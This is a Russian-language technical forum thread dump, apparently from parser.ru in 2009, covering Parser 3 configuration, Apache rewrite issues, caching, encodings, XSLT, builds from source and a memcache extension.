Лечится это просто - указываем в строке подключения autocommit=0, после чего вышеуказанный запрос выполняется за 0.05 сек, а в случае с 20000 строк - за 0.75 сек, кстати, примерно 4 раза быстрее, чем mysql-аналог (но там можно оптимизнуть просто поменяв на multi-insert, а не циклом перебирать).\
\
Написал это, на случай, если кому-нибудь потом придется с этим столкнуться (ну и с \"самоликвидацией\" парсера бы разобраться).\
\
Может для sqlite драйвера autocommit=0 сделать по умолчанию?"
"70176","...и меняло стандартное поведение сервера мне не кажется разумным."
"70177","У меня правда встроенный апач и установленный MySQL, MAMP не использую.\
В основном auto.p вот так:\
\
$sqldriversdir[$confdir/lib]\
\
$SQL[\
$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/local/mysql/lib/libmysqlclient_r.15.0.0.dylib\
sqlite	$sqldriversdir/libparser3sqlite.so	/usr/lib/libsqlite3.dylib\
}]\
]\
\
Попробуйте проверить правильность пути к драйверу, возможно у вас в конфиге указано расширение .dylib, а у файла .so."
"70179","На одном компьютере все работает хорошо, а на другом с той же версией парсера открывает только главную страницу и при попытке перейти куда-нибудь типа /about/\
пишет такую ошибку в логах:\
\
[Wed Jun 17 08:36:35 2009] [3424] /about/: 'c:/apache/htdocs/about.html/' read failed: Invalid argument (22), actual filename 'c:/apache/htdocs/about.html/' [<no type>] [uri=/about/, method=GET, cl=0]\
\
в чем может быть проблема?"
"70180","Сначала было сообщение просто о том что страница не найдена а сейчас вот такое сообщение:\
\
c:/apache/htdocs/vacancy.html/\
read failed: Invalid argument (22), actual filename 'c:/apache/htdocs/vacancy.html/'\
\
Может ли проблема быть в самом апаче?"
"70181","Видно же, что пытается прочитать файл с диска, а в имени на конце слеш. Поэтому Invalid argument.\
Если движок сайта построен на html-файлах, то надо озаботиться правильным формированием имени из url."
"70182","[code]RewriteEngine On\
\
RewriteCond %{REQUEST_URI} (.*/[^/.]+)($|\\?) \
RewriteRule .* %1/ [R,L,QSA]\
\
RewriteRule ^(about)/?$ about.html[/code]\
\
Вот так написано в htaccess. Но откуда берется этот слеш на конце (about.html/) не могу понять?\
\
Причем у меня-то все работает прекрасно а вот на другом компе нет."
"70183","Странный .htaccess\
\
Это правило вообще не должно отрабатывать, т.к. начинается не со слеша:\
[code]RewriteRule ^(about)/?$ about.html[/code]\
\
Ошибка парсера, насколько я вижу, значит проблема в коде.\
Разные компьютеры -- это не win и unix/linux случайно?"
"70184","Нет. Windows Vista и Windows 2003. На висте все хорошо а 2003-й ругается. Не могу понять откуда в 2003-м подставляется слэш. На висте-то все работает без проблема и никаких слэшей не ставит."
"70186","Так это я добавляю слеш для разделов типа /about/. если посетитель напишет /about то слеш сам в конце поставится а то получается 404-я ошибка.\
но к страницам вида about.html это правило не применяется. во всяком случае на висте-то все работает шикарно. как же тогда найти альтернативу?"
"70187","правило применяется ко всем URL, в которых нет символа точка в последней части (это правило у вас работает). а потом вы \"правите\" это для двух возможных URL-ов (а вот это работать перестаёт).\
\
у разных версий апача немного разные правила обработки rewrite. похоже на этих компьютерах версии веб сервера различаются, и эти различия вам всё портят.\
\
или обновите версию веб сервера на компьютере, где есть проблема или разбирайтесь что хочет видеть в RewriteRule старая версия апач и правьте htaccess после копирования данных на этот компьютер."
"70189","Это я так понимаю ошибка на стороне хостинга?\
\
В последнее время стала часто вылезать эта ошибка, ругаясь на $connect-string, вот и думаю написать хостеру. А тут подстраховываюсь, а то они любят вечно все сваливать на \"ваш парсер\"."
"70190","Это не помогает - http://www.parser.ru/forum/?id=7714 ?"
"70191","Искал, и этот пост тоже видел. Но на форуме у всех это были проблемы при установке сайтов, а у меня же начала появляться ошибка на уже работающих сайтах. \
\
Ошибка выскакивает, после перегрузки страницы ошибка может исчезнуть. Чем то напоминает ошибку Too many connections. Вот и думаю, может с доступом проблемы."
"70192","У меня стандартный конфигурацённый файл из\
http://www.parser.ru/f/1/download/win32/parser3conf_1_1_20070628_win32.zip\
\
ничего не менял кроме smtp.domain.ru на localhost...\
Даже когда в auto.p я делаю ^throw[;$MAIN:MAIL.SMTP] парсер выводить провильно localhost. Но\
[code]\
#^throw[;$MAIN:MAIL.SMTP]\
^mail:send[...\
[/code]\
гаворить мне что я не определил MAIL.SMTP. Мне кажеться что это баг. Но только в windows. На сервере на федора всё в порядке."
"70193","Извините за оффтопчик. Возникла проблема - на сервере при попытке обновить данные в базе все происходит хорошо и в админке и на сайте. Но когда заходишь в админку с удаленного компьютера и меняешь данные в базе, то почему-то в админке все меняется, а на сайте нифига. Например удалишь запись, а на сайте она так и остается висеть как ни в чем не бывало. При этом проверяю саму базу на серваке - строка удалена. А на удаленном компе на сайте она висит. Хоть браузер перезагружай - проблема остается. Хотя и в админке и на самом сайте используются идентичные команды подключеня к базе. В чем может быть загвоздка? Браузер же не может базу в кеш сохранить?\
\
Еще раз извиняюсь, что не по теме. Просто больше не к кому обратиться. :)"
"70195","Ctrl+R даже не знает такой команды. Но ничего не меняется. Даже браузер перезапускаешь, а не существующая строка все равно висит на сайте."
"70196","Еще можно попробовать добавить к адресу address.ru/page?chto_nib_na_konce, чтобы убедиться, что дело не в кешировании вашим браузером."
"70197","Когда админка делается для клиента, лучше везде приписывать ?var=$random чтобы проблем с кешем небыло"
"70198","Соответственно я так понимаю это IE 7 так сохраняет страницы? То есть нужно в его настройках копаться?\
Просто поставил \"проверять обновления при каждом посещении веб-узла\", но это не дало результата. Зато когда приписываешь ?id то все показывает как надо.\
С другими сайтами таких проблем не наблюдалось."
"70199","[code]<meta http-equiv=\"Pragma\" content=\"no-cache\" />\
<meta http-equiv=\"no-cache\" />\
<meta http-equiv=\"Expires\" content=\"-1\" />\
<meta http-equiv=\"Cache-Control\" content=\"no-cache\" />\
<meta http-equiv=\"content-language\" content=\"ru\">\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">[/code]\
\
Как-то так?"
"70202","Если указать вот это:\
\
<meta http-equiv=\"Pragma\" content=\"no-cache\" />\
<meta http-equiv=\"no-cache\" />\
<meta http-equiv=\"Expires\" content=\"-1\" />\
<meta http-equiv=\"Cache-Control\" content=\"no-cache\" />\
\
Сильно ли замедлится работа сайта?"
"70203","build-all... - парсер собрался в src/targets/cgi\
Выполняется в cli нормально, обрабатывает файлы, но не выдает http-заголовков\
Из-за этого Апач пишет premature end of script headers.\
Fedora core. Masterhost."
"70204","UPD: проблема оказалась с мускл-драйвером.\
Кто-нибудь сталкивался с сабжем?"
"70206","... обрабатывать заголовки If-Modified-Since и If-None-Match, то разницы не будет никакой.\
\
p.s. Подробности смотрите в спецификации протокола HTTP."
"70209","в js идёт вызов:\
\
document.getElementById('login_check').innerHTML = '<img src=/i/d/msg/check.gif width=12 height=12 border=0>';\
\
не нашёл в доках и на форуме -- как закешировать файл check.gif?\
так понял кешируется только код?"
"70210","Если да, то делается в несолько строк кода (формируете изображение, сохраняете на диск, при повторных обращениях просто отдаете кже готовый файл через Парсер... при необходимости обновляете кеш).\
\
Если это статический файл, то это уже вопрос правильной настройки веб-сервера, а не Парсера."
"70211","./make-all-with\\without-xml --disable-safe-mode\
-> парсер собирается в safe mode\
\
Если раскомментировать эту опцию в самом ./make-all\
-> парсер все равно собирается в safe mode"
"70212","указывать эту опцию скрипту (./buildall...) сборки смысла нет т.к. она не передаётся в configure.\
однако вы говорите про какие-то другие скрипты, что они из себя представляют я не знаю. обратитесь к их авторам.\
\
что касается правки скриптов ./buildall... (расскоментировании упомянутой опции в них), то по шагам:\
1. вы достали данные из cvs/распаковали исходники ...\
2. раскомментировали опцию\
3. запустили сборку скриптом\
4. проверили и увидели, что парсер собран НЕ в safe моде\
\
я ничего не пропустил? точно между доставанием данных и правкой скрипта не было другой сборки? если была -- вы делали make distclean?"
"70213","Здравствуйте,\
\
Есть старинный сайт на P3. Хостер \"по технической необходимости\" перенес аккаунт на котором находился сайт на другой сервер. После этого сайт сломался с ошибкой 500. В логах вообще ничего, только такие строки:\
\
[Wed Jun 17 11:28:29 2009] SIGPIPE received. uri=/, qs=\
\
Еррорные логи пока не доступны. Как можно отловить проблему? Заранее спасибо"
"70215","Идти по пуктам и смотреть в чем дело.\
Может там OS поменялась и парсер вообще не запускается."
"70219","попросить администратора и использовать сборку мусора не проходит...\
отказаться от XML?"
"70221","В абсолютном значении, сколько памяти съедено до возникновении проблемы? 10? 50? 100Mb? Если это не проблема алгоритма (select * from *), то HEAD версия парсера тоже может помочь. Ну и ^memory:compact[], возможно с предварительным обнулением больших глобальных переменных."
"70222","http://www.parser.ru/faq/forum/\
п.2 сверху )\
опишите все подробно )"
"70223","В принципе интересует, чем причина первого сообщения отличается от причины второго? Проблема явно в размере генерируемого XML, при 40Кб все работает при прочих равных условиях, при 86КБ - ведет к первому сообщению, причину второго пока не знаю.\
Данныe из лога:\
comment		used	 free	 ever_allocated_since_compact	 ever_allocated_since_start\
before method_1	 3312	 312	 	4121.65	 			4121.65\
after method_1	 9032	 26372	 	641.223	 			33424.8\
before method_2	 9032	 26372	 	661.496	 			33445.1\
after method_2	 9296	 26108	 	4388.46	 			37836"
"70225","А толку от этого мало, поскольку похоже цельного свободного куска нужного размера там нет, поэтому пытается аллоцировать у системы.\
\
Так что либо вызывать compact пару раз внутри method_1, либо таки попробовать версию 3.4.0. (head)"
"70227","Вот задачка у меня стояла прикрутить jquery autocomplete\
\
База в UTF-8, сайт в windows-1251\
\
в list.html приходит запрос ?q=вася в кодировке utf-8.\
\
Все заработало корректно когда я 2 раза указал $response:charset\
\
[code]\
$response:charset[utf-8]\
\
^connect[...?charset=cp1251] достали из базы в переменную $t  все что надо где name like '$form:q%'\
\
$response:charset[windows-1251]\
\
^t.menu{$t.name\
}\
[/code]\
\
request изначально стоит в windows-1251\
\
Логику сам не могу уследить, но работает :)"
"70228","в момент обращения к $form:xyz парсер перекодирует данные из кодировки, заданной в $response:charset в кодировку, заданную в $request:charset.\
\
декодирование происходит один раз при обнаружении смены кодировки (в момент первого обращения к form после её смены).\
\
однако в вашем случае все равно все $form перекодируются 3 раза (первый раз до этого кода, когда у вас была задана 1251, второй раз после того, как вы указали utf-8 в момент обращения к $form:q и третий раз, после того, как вы опять указали 1251 и обратились к любой $form. несколько перекодирований -- дополнительный расход памяти, который может быть существенным, если пользователь вам запостил файл)"
"70229","В корень сайта приходит ответ с другого сервера в таком виде:\
\
http://site_name.ru/index.html#0;sid=3b6d1106d8c1f61098c32c699b5cb242\
\
Мне нужно перенаправить этот на: \
\
http://site_name.ru/other/folder/index.html#0;sid=3b6d1106d8c1f61098c32c699b5cb242\
\
я пытаюсь прочитать строку через $request:uri, но там только /index.html\
\
не нашёл способов, как прочитать всё то, что после решётки # (включая и решётку)"
"70232","а вообще есть какие-нибудь способы? php, perl, .htaccess?"
"70234","значит ли это что -- то что находится за решёткой можно взять джава-скриптом и положить в куку, а куку потом прочитать парсером...\
\
только такое ощущение что кука созданная js -- не читается парсером -- может такое быть?"
"70235","И куки парсер читает любые, которые передаст браузер серверу в http-запросе."
"70236","да дело в том, что они мне приходят в таком виде (/index.html#0;sid=234234) с другого сервера при обмене (userapi.ru, например их так отдаёт) -- мне же нужно их прочитать и обработать\
\
не могу найти как с помощью js их взять и перенаправить в другую папку в уже удобоваримом виде"
"70237","Но насколько корректно сайт делать не в 1251 а в UTF-8 все ли броузеры корректно отобразят?\
http://www.parser.ru/ - смотрю отдает в 1251 :)"
"70238","Отобразят настолько корректно, насколько корректным будет документ, содержимое документа и заголовки."
"70239","Нашлось время раскопать проблему - ffmpeg выдавал в аутпут очень очень много сообщений типа \"Multiple frames in a packet from stream 1\", в результате чего при запуске через ^file::exec он зависал.\
\
Решили добавлением конструкции > /dev/null 2>&1"
"70240","[code]<script type=\"text/javascript\">\
if(location.href.match(/^#(.+)^$/)){\
    location.href = location.href.replace(/.+#(.+)/,'http://site_name.ru/other/folder/index.html?^$1')\
}\
</script>[/code]"
"70242","т.е. в версии из head trim должен нормально работать в случае образания многобайтных символов при работе в UTF-8"
"70245","http://mryasov.habrahabr.ru/blog/62787/\
серверная часть на парсере, ну и буду рад услышать тут и там всякие ругательства и т.д. ))"
"70246","... кроме неаккуратной работы с полями форм в sql-запросах. Как-минимум стоит везде использовать ^form:id.int(0)."
"70247","если в запросе стоит просто $form:id, значит он выполняется внутри условия, папример:\
[code]^if(^form:id.int(0)){\
	^connect[$connect_string]{\
		^void:sql{delete from ${sHelperDBprefix}elements where id=$form:id and uri='^getURI[]'}\
	}\
}[/code]\
\
т.е. если $form:id придет не числовой, запрос вообще не выполнится"
"70248","Какая-то ерунда. \
Установил библиотеки. Обращаюсь к ним http://localhost/cgi-bin/parser3 получаю [b]Parser/3.3.0[/b]\
Вроде все норм.\
Создаю .htaccess с таким кодом:\
\
[code]AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
\
# Deny access to .p files, mainly: auto.p\
<Files ~ \"\\.p$\">\
  Order allow,deny\
  Deny from all\
</Files>[/code]\
\
Получаю ошибку 500 и запись в логе:\
\
[quote]/var/www/.htaccess: Invalid command 'Action', perhaps misspelled or defined by a module not included in the server configuration[/quote]\
\
Чего я недопонимаю?"
"70249","... вполне достаточно сделать преобразование внтури запроса. А во-вторых в дальнейшем может привести к неприятным последствиям - например, коде перенесете в другое место или if уберете не посмотрев на запрос."
"70250","http://httpd.apache.org/docs/2.2/mod/mod_actions.html"
"70253","Преобразование в int делается в обоих случаях и один раз, но у Александра еще и не выполняются запросы, если id кривой, тогда как вы предлагаете делать запрос всегда (что, имхо, бессмысленно, да и время/нагрузка это паразитная)"
"70254","Увы, основная проблема - найти подходящий для вашей операционной системы файл. А вообще, после всех проблем с nconvert'ом я остановился на ImageMagik'е: проблем меньше."
"70255","http://www.yandex.ru/ - не показатель ли?\
parser.ru - скорее исторически + небольшая экономия трафика."
"70257","- ещё одного connect-а, в случае mysql не будет (он кешируется, т.е. он будет только если это единственный connect на страницу, что маловероятно)\
- этот запрос, с id=0 выполнится мгновенно (сервер быстро заглянет в индексы), результат (если это select) передаваться не будет, т.к. он будет пустой\
- код становится длиннее и \"читается\" он (.е. понимается), обёрнутый этими if-ами хуже. то, что вы делаете этим if-ом назвается преждевременной оптимизацией :)\
- иметь ?id=1 как флагом для включения удаления -- глупость ещё та. завтра вы забудете про то, что это является флагом удаления, и добавите в страницу ещё и редактирование (тоже будет ?id=1+ещё что-то), соотв. вылезет баг."
"70258","Но,\
- про mysql connect  я знаю, а как насчет sqlite, например? Будет открыт закрыт файл насколько я понимаю, даже при autocommit=0. Что бывает из-за этого при больших количествах я [url=\"http://www.parser.ru/forum/?id=70175\"]писал[/url] недавно\
- запрос быстрый, но он в принципе не нужен, зачем sql-серверу выполнять запрос, который мы заведомо знаем, что он ничего не сделает? Байтики зачем гонять туда-сюда? А если сервер удаленный и качество связи с ним не очень?\
- читаемость кода - весьма субъективная весчь. Имхо, проверка скриптом переданных параметров - стандартная процедура, причем тут преждевременная оптимизация?\
- код не мой, не исключено, что мы просто не видим тут всего кода, например он может такой - \
\
[code]^if($form:action eq delete){\
		...do something 1...\
	^if(^form:id.int(0)){\
		^connect[$connect_string]{\
			^void:sql{delete from ${sHelperDBprefix}elements where id=$form:id and uri='^getURI[]'}\
		}\
	}\
		...do something 2...\
}[/code]"
"70259","соотв. правка войдёт в след. релиз.\
\
третий параметр в ней может быть задан в виде хеша:\
$.space(0) // по умолчанию ширина пробел равна ширине gif со шрифтом\
$.width(xy) // задать ширину символов для моноширинного шрифта. по умолчанию шрифт пропорциональный\
$.width(0)  // включить моноширинный шрифт, но ширина символов будет равна ширине gif со шрифтом\
$.spacing(0) // межсимвольное расстояие. по умолчанию == 1"
"70260","Небольшая экономия траффика - преимущество. А какой недостаток от использования 1251? Расходы cpu на перекодировки минимальные и ими можно принебречь."
"70261","у UTF есть недостатки в виде большего размера файлов, большем трафике, более медленной работы со строками (разные left, right, trim, match и т.д.), меньшем инструментарии, поддерживающем UTF-8 (редакторы)\
\
и есть преимущество в виде универсальности (если всё в UTF-8, то нет проблем с ajax, XML/RSS, многоязычностью и т.д.)\
\
очевидно, что для того, чтобы не терать время/память на перекодировании, файлы должны быть в той-же кодировке, в какой отдаётся ответ пользователям.\
\
соотв. каждый сам взвешивает, что ему важнее.\
\
но в любом случае, перевести при необходимости всё в UTF-8 -- не большая проблема (особенно если БД сразу заводится в UTF-8, что позволяют делать MySQL 4.1+) : перекодировать все файлики, изменить выдачу http заголовков и всего делов.\
\
что касается parser.ru, то мы не видим смысла переводить его в UTF-8, т.к. никаких плюсов не будет, увеличившийся траффик (вспоминаем про поисковики, которые частенько ходят переиндексировать форум, а тут 70 тысяч сообщений) просто так нам не нужен."
"70262","Это великолепно. Спасибо :)"
"70263","начальное условие: хеш с 1 элементом.\
[code]\
$k[^b._keys[]]\
$k.key\
[/code]\
\
Есть более красивый способ?"
"70266","Потому что не совсем понятно откуда вообще возникла необходимость в хеше с одним неизвестным ключем.\
\
Если говорить о способах, то приходит в голову еще один:\
[code]\
^h.foreach[k;v]{\
 $key[$k]\
}\
[/code]"
"70267",":) в дистиллированном виде :) Было-бы не плохо ^zzz.keyname[] - но это можно самому написать..."
"70268","Вызываю wget через ^file::exec и загружаю файл по http\
Файлы до 41 мб загружаются по http прекрасно.\
Если >41 мб - файл сохраняется с этим размером, загрузка прекращается, parser и wget зависают (0% cpu) в полном бездействии.\
\
В процессах - wget в состоянии pipewr, parser - piperd"
"70269","... потому что он просто лишен всякого смысла в рамках хеша."
"70270","Полезные изменения. Спасибо. Обновимся, как проверим на совместимость."
"70271","Вопрос не про парсер, но я надеюсь на Вашу помощь.\
Есть таблица в Excel, сохранённая как XML файл. Строки выглядят вот так:\
[code]<Row>\
    <Cell ss:StyleID=\"s21\" ss:HRef=\"http://www.bergfex.at/achensee/\"><Data\
      ss:Type=\"String\">Achensee</Data></Cell>\
</Row>[/code]\
\
Я хочу вытащить из каждой строки гиперссылку. Пробовал по разному, но не получается. Последний вариант выглядел вот так:\
\
[code]	<xsl:for-each select=\"Workbook/Worksheet/Table/Row/Cell\">\
	<TR>\
		<xsl:attribute name=\"ss:HRef\">\
              <TD><xsl:value-of select=\".\" /></TD>\
              </xsl:attribute>\
         </TR>\
\
        </xsl:for-each>[/code]\
\
Может кто-нибудь подскажет, как вытащить гиперссылки из этого XML файла?"
"70272","[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<xsl:stylesheet\
	version=\"1.0\"\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
	xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\
>\
\
	<xsl:template match=\"ss:Workbook\">\
		<ul>\
			<xsl:apply-templates select=\"ss:Row/ss:Cell/@ss:HRef\"/>\
		</ul>\
	</xsl:template>\
\
	<xsl:template match=\"ss:Cell/@ss:HRef\">\
		<li><xsl:value-of select=\".\"/></li>\
	</xsl:template>\
</xsl:stylesheet>[/code]"
"70273","http://git.debian.org/?p=collab-maint/parser.git;a=blob;f=debian/patches/109_trim.patch"
"70274","Есть патч для парсера - написан get и set;\
Стоит ли продолжать? Публичная бета будет на неделе)\
Так вроде работает - но надо потестить и сделать так чтобы за код небыло стыдно)"
"70275","... причем имеет смысл код показать Мише заранее. :)\
\
p.s. Не факт, что войдет в основную ветку, но если все будет сделано правильно, то всегда можно положить в публичный репозиторий и те, кому будет нужно, воспользуются."
"70276","Ок. завтра вышлем.\
По поводу документации к исходникам - помоему она уже давно \"Говно мамонта\""
"70277","Навигация работает, но при выборе например раздела Новости, то он становится не активным, но рядом с ним появляется такой же активный раздел.\
(Главная | Новости (не ссылка) | Новости | Контакты | Цены | Гостевая |), а сверху строки навигации появляются 5 пар скобок {}{}{}{}{}.\
\
Получается, что if условие не работает?\
\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
		<td width=\"$cell_width\" align=\"center\" bgcolor=\"A2D0F2\">\
		<nobr>$sections.name</nobr>\
		</td>\
}  {    <td width=\"$cell_width\" align=\"center\">\
		<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
		</td>\
}\
\
\
Подскажите пожалуйста, в чём может быть проблема?"
"70278","И прочтите пожалуйста FAQ на предмет того как лучше задавать вопросы... Кстати, ответ на Ваш вопрос там тоже есть."
"70279","Я вроде искал ответ на форуме, но видимо плохо. В следующий раз буду внимательнее.\
Спасибо за помощь."
"70280","где нашел , дай ссылку плиз"
"70281","http://www.seoconsultants.com/tools/headers.asp"
"70282","Как скрестить нескрестируемое? :)"
"70283","... например, по http.\
\
Есть [url=http://www.parser.ru/forum/?id=33412]классический пример[/url]"
"70284","Сделал подсветку, пока работает не так как хотелось, но это только начало. По мере дальнейшего разбора буду улучшать и отписывать в этом треде.\
\
А пока [url=\"http://spearance.ru/parser3/ParserCodelessLanguageModule.plist\"]вот[/url].\
\
Положить нужно в /Libray/Application support/BBEdit/Language modules\
\
P.S. если кто располагает чем-то лучшим - делитесь."
"70285","Можно тоже вызывать внешные скрипты через картинки в html \
\
[code]<img style=\"display: none\" src=\"somescript.asp?var=val\"/>[/code]\
\
или через картинки в javascript \
[code]ajax = new Image();\
ajax.src = 'somescript.asp?var=val';[/code]\
\
...или через iframes и javascript\
что нибадь похоже на ajax"
"70286","А может у кого-нибудь есть  подсветка для Coda или Espresso?"
"70287","для коды все пишется гораздо проще чем для BBEdit, и кстати сказать эта раскраска в дальнейшем еще может подойти к SubEthaEdit. Однако сама кода предоставляет очень скромный функционал как ФТП так и как тектстовый редактор."
"70288","Как?"
"70289","Код выполняется, когда [b]switch [/b]равен [b]a[/b] или [b]b[/b].\
\
А можно в коде как-то узнать, что именно совпало: [b]a[/b] или [b]b[/b]. Задача не сложная, просто код для двух уловий большой, но различается только на знак больше или меньше.\
\
Например:\
\
[code]^switch[$form:ololo]{\
	^case[a]{\
		Lots of code, then -.\
	}\
	^case[b]{\
		Lots of the same code, but then +.\
	}\
}[/code]\
\
Может можно сделать:\
\
[code]^switch[$form:ololo]{\
	^case[a;b]{\
		Lots of the common code, then [b]-[/b] or [b]+[/b] depending on the [i]case[/i].\
	}\
}[/code]\
\
Или всё же писать ещё один switch?"
"70290","понятно, что это имеет смысл, если в switch-е больше, чем эти два case-а.\
\
P.S. в принципе, у меня в todo есть запись о том, чтобы иметь возможность не останавливаться на первом совпадении. если бы это было реализовано, можно было-бы так:\
[code]\
^switch[..]{\
	^case[a;b]{общий код}\
	^case[a]{код только для a, который выполнится после общего кода}\
	^case[b]{код только для b, который выполнится после общего кода}\
}\
[/code]\
но пока -- увы."
"70293","Раз уз зашла речь о мак есть пара вопросов о рабочем окружении.\
Я пока использую на рабочей Windows-машине связку:\
1. Denwer (Parser-версия)\
2. Homesite 5\
3. ...Xara X...\
4. MySQL Front\
\
MacMini пока стоит рядом и я пока к нему не приноровился, но есть желание полностью пересесть за него, однако пока есть вопрос, как собрать аналогичный пакет программ под него.\
\
Из того, что я нашел пока, список у меня получился следующий:\
1. MAMP\
2. bbedit, coda или textmate\
3. Xara X (в Parallel)\
4. ???\
\
По 1-му пункту пока не понятно, насколько возможна работа с несколькими сайтами + есть ли какие косяки в настройке Parser.\
\
По второму - нужна нормальная поддержка Code-insight. Из-за нее я уже подумываю пересесть на Eclipce..."
"70294","У меня получился такой набор:\
1. встроенный apache, при добавлении нового сайта редактирую host, vhost.conf и перегружаю apache\
2. textmate\
3. Xara X не пользуюсь\
4. phpMyAdmin"
"70295","по поводу 4: если на маках есть такой понятие, как jvm, то можно попробовать... Heidi, которая jHeidi: http://www.heidisql.com/\
\
:)"
"70296","1. Лучше в виртуальной машине Parallels поставить какую-нибудь FreeBSD на которой поднять все необходимые пакеты (ставится из \"портов\" и настраивается достаточно просто). Доступ к дискам виртуалки сделать через MacFusion (фактически это монтирование файловой системы по ssh-протоколу) или через ftp. Собственно это сразу позволит работать в нормальном серверном окружении, заодно и с nix-системами разберетесь, что крайне полезно для любого разработчика.\
2. Я использую TextMate, но без всякого code-insight - не вижу особого смысла, а может просто привык за годы.\
3. Adobe InDesign + Photoshop. Нативно, без всяких виртуалок. :)\
4. MySQL GUI Tools + MySQL Workbench."
"70297","1. Ненужно, апач встроен, включается одной кнопкой.\
2. bbedit (пробовал coda, subEthaEdit, textMate)\
3. Xara X (в Parallels) уже второй год веду активную переписку с Чарльзом Мейнором о портировании ксары в Мак. Пока не всё так гладко.\
4. MYSQL Query Browser скачал с mysql.com\
+ еще использую Transmit в качестве FTP клиента.\
\
Вообще софта под Мак полно, на любой вкус и цвет. Чтобы пересесть с винды, достаточно перепрыгнуть самого-себя. Потому как очень лениво что-то менять в своей жизни."
"70300","Следующий XSLT выдает данную ошибку:\
[code]\
  $xSheet[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
    <xsl:stylesheet version=\"1.0\" xmlns=\"http://www.w3.org/1999/xhtml\"\
     xmlns:html=\"http://www.w3.org/1999/xhtml\"\
     xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
      <xsl:template match=\"//html:div[@class='main2']/html:table[2]/html:tr/html:td/html:div\">\
\
      </xsl:template>\
\
    </xsl:stylesheet>\
  }]\
[/code]\
во время трансформации...\
\
Баг или же мне заного читать документацию по XSLT?"
"70306","Поставил и настроил я LAMP. Так же мне надо поставить Parser 3.3.0.\
\
зашел я на сайт и с помошью утилиты CVS  скачал нужные файлы (документация http://www.parser.ru/docs/lang/) :\
[code]\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_3_0 parser3[/code]\
\
дальше как расказано в той же документации создал нужную структуру файлов, скачал так же и исходники драйверов мускуля, положил в нужное место.\
\
[quot]parser3project  <- директория, где вы решили положить исходники\
  |\
  +-parser3     <- исходники парсера \
  |\
  +-sql\
     +-mysql    <- исходники драйвера mysql\
     +-...       <- исходники других необходимых вам драйверов[/quot]\
\
ну вот это наверное все что у меня получилось, дальше выполняю из директории parser3project:\
\
[code]\
./configure\
make\
[/code]\
\
последня команды выдает:\
\
[code]make: *** Не заданы цели и не найден make-файл.  Останов.[/code]\
\
почитал про CVS где то на форуме писалось что мол надо выполнять autoconf и automake, поставил эти программы.\
Выполняю, выдает:\
\
[code]root@master-laptop:~/parser3# autoconf\
root@master-laptop:~/parser3# automake\
configure.in:5: version mismatch.  This is Automake 1.10.1,\
configure.in:5: but the definition used by this AM_INIT_AUTOMAKE\
configure.in:5: comes from Automake 1.9.  You should recreate\
configure.in:5: aclocal.m4 with aclocal and run automake again.\
src/targets/apache13core/Makefile.am:2: `:='-style assignments are not portable[/code]\
\
Если кто нить сталкивался с установкой Parser'a подскажите пожалуйста, опыта в убунте не так много как хотелось бы. А язык программирования этот мне нравится.\
\
PS: [url=\"http://forum.ubuntu.ru/index.php?topic=61411.0\"]создал такую же тему на форуме убунты [/url]"
"70307","Во время сборки обратите внимание на все выданные ошибки, поиск по форуму поможет.\
\
autoconf и automake впринципе нет необходимости делать, т.к. с исходниками Парсера уже идет configure файл."
"70308","1. Встроенный Апач + VirtualHostX (очень просто создает виртуалсервера). MySQL установлен, на оф. сайте есть.\
2. Espresso (раньше была Coda, до нее TextMate). FTP встроен (как и в Coda) и мне его хватает, но Transmit на всякий случай тоже есть.\
3. Photoshop и Просмотр (да, иногда и стандартного хватает :-)\
4. Sequel Pro (он бесплатный).\
\
Parser и драйвера с кодировками лежат в /Libraries/WebServer/CGI-executables/.\
В .htaccess путь остается /cgi-bin/parser3.cgi"
"70309","Спасибо, попробовал Ваш вариант. Опять не получается. Результат вот такой: http://efrolov.ru/test/tirol.html\
XML: http://efrolov.ru/test/tirol.xml\
XSL: http://efrolov.ru/test/tirol.xsl"
"70310","[code]<xsl:template match=\"Workbook\">\
	<ul>\
		<xsl:apply-templates select=\"Worksheet/Table/Row/Cell/@ss:HRef\"/>\
	</ul>\
</xsl:template>\
\
<xsl:template match=\"Cell/@ss:HRef\">\
	<li><xsl:value-of select=\".\"/></li>\
</xsl:template>[/code]"
"70311","./buildall-with-xml помог, но вот еще одна проблема ,я все начинал заного устанавливать и не создал дерево катологов. Получится ли доставить драйвера на мускуль???"
"70312","для того чтобы собрался драйвер необходимо, чтобы нашлись файлы, которые include-ятся из исходника драйвера.\
include-ятся они по относительным путям, т.е. для успешной сборки необходимо, чтобы относительный путь от каталога с драйвером до каталога с парсером остался такой-же.\
\
P.S. даже если структура была сделана другая, неужели так сложно её переделать и пересобрать парсер, что делается запуском одного командного файла?"
"70313","В Debian unstable/testing есть готовые пакеты для parser и mysql-модуля:\
http://packages.debian.org/source/testing/parser\
http://packages.debian.org/source/testing/parser-mysql\
\
под 9-ку они собираются без изменений"
"70314","Спасибо большое, работает!"
"70315","Может быть стоит добавить ключ -q (--quiet) к wget"
"70317","[code]\
#Хост, порт, GZIP\
$mMem[^memcache::create[127.0.0.1](555;1)]\
\
#закешировать строка\
^mMem.set[key;value](ttl)\
#взять строка\
^mMem.get[key]\
#удалить ключ (через сколько секунд)\
^mMem.del[key](ttl) \
\
# Закешировать таблицу (не стал заморачиваться с сепараторами колонок)\
^mMem.setTable[key;$tTableToCache]\
[/code]\
\
Я думаю что уже можно выложить на паблик, а вы?\
\
P.S 2Misha, как по хорошему не ковыряя руками Makefile.in и .am\
добавить класс в сборку? Интересует последовательность действий и версия automake."
"70318","мне очень не нравится синтаксис :)\
\
[quot]\
#Хост, порт, GZIP\
$mMem[^memcache::create[127.0.0.1](555;1)]\
[/quot]\
\
считаю, что делать стоит \"в духе\" существующих вещей, например параметры соединения задавать в sql-стиле:\
$mMem[^memcache::open[[memcache://]127.0.0.1:555?gzip=1]]\
\
\
[quote]\
#закешировать строка\
^mMem.set[key;value](ttl)\
#взять строка\
^mMem.get[key]\
#удалить ключ (через сколько секунд)\
